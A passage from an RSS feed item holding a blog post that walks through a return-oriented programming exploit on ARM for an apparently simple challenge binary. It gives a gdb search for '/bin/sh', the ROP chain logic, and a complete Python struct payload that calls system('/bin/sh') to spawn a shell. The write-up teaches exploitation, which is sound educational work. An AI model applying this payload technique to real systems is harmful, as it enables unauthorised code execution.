720<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”.
721But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
722to do what we want (run a command, execute a shell, etc.).</p>
723
724<p>To do that, we’ll follow a multi-step process: </p>
725
726<ol>
727<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
728<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
729<code>r0</code>.</li>
730<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
731</ol>
732
733<p>The pseudo-code is something like this:</p>
734
735<pre><code>string = AAAABBBBCCCCDDDDEEEE
736gadget = # addr of gadget
737binsh = # addr of /bin/sh
738system = # addr of system()
739
740print(string + gadget + binsh + system)
741</code></pre>
742
743<p>Clean and mean.</p>
744
745<h3 id="the-exploit">The exploit</h3>
746
747<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
748It allows us to pack the bytes of addresses to the endianness of our choice.
749It probably does a lot more, but who cares.</p>
750
751<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
752at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
753
754<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
755</code></pre>
756
757<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
758
759<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
760found from the disassmblies from earlier. Here’s the final exploit code:</p>
761
762<pre><code>import struct
763
764binsh = struct.pack("I", 0xb6f85588)
765string = "AAAABBBBCCCCDDDDEEEE"
766gadget = struct.pack("I", 0x00010550)
767system = struct.pack("I", 0x00010538)
768
769print(string + gadget + binsh + system)
770
771</code></pre>
772
773<p>Honestly, not too far off from our pseudo-code :)</p>
774
775<p>Let’s see it in action:</p>
776
777<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
778
779<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
780when the pipe closes, since there’s no input coming in from STDIN.
781To get around this, we use <code>cat(1)</code> which allows us to relay input through it
782to the shell. Nifty trick.</p>
783
784<h3 id="conclusion">Conclusion</h3>
785
786<p>This was a fairly basic challenge, with everything laid out conveniently.
787Actual ropchaining is a little more involved, with a lot more gadgets to be chained
788to acheive code execution.</p>
789
790<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
791</description>
792 <pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate>
793 <guid>https://icyphox.sh/blog/rop-on-arm/</guid>
794</item>
795
796 </channel>
797</rss>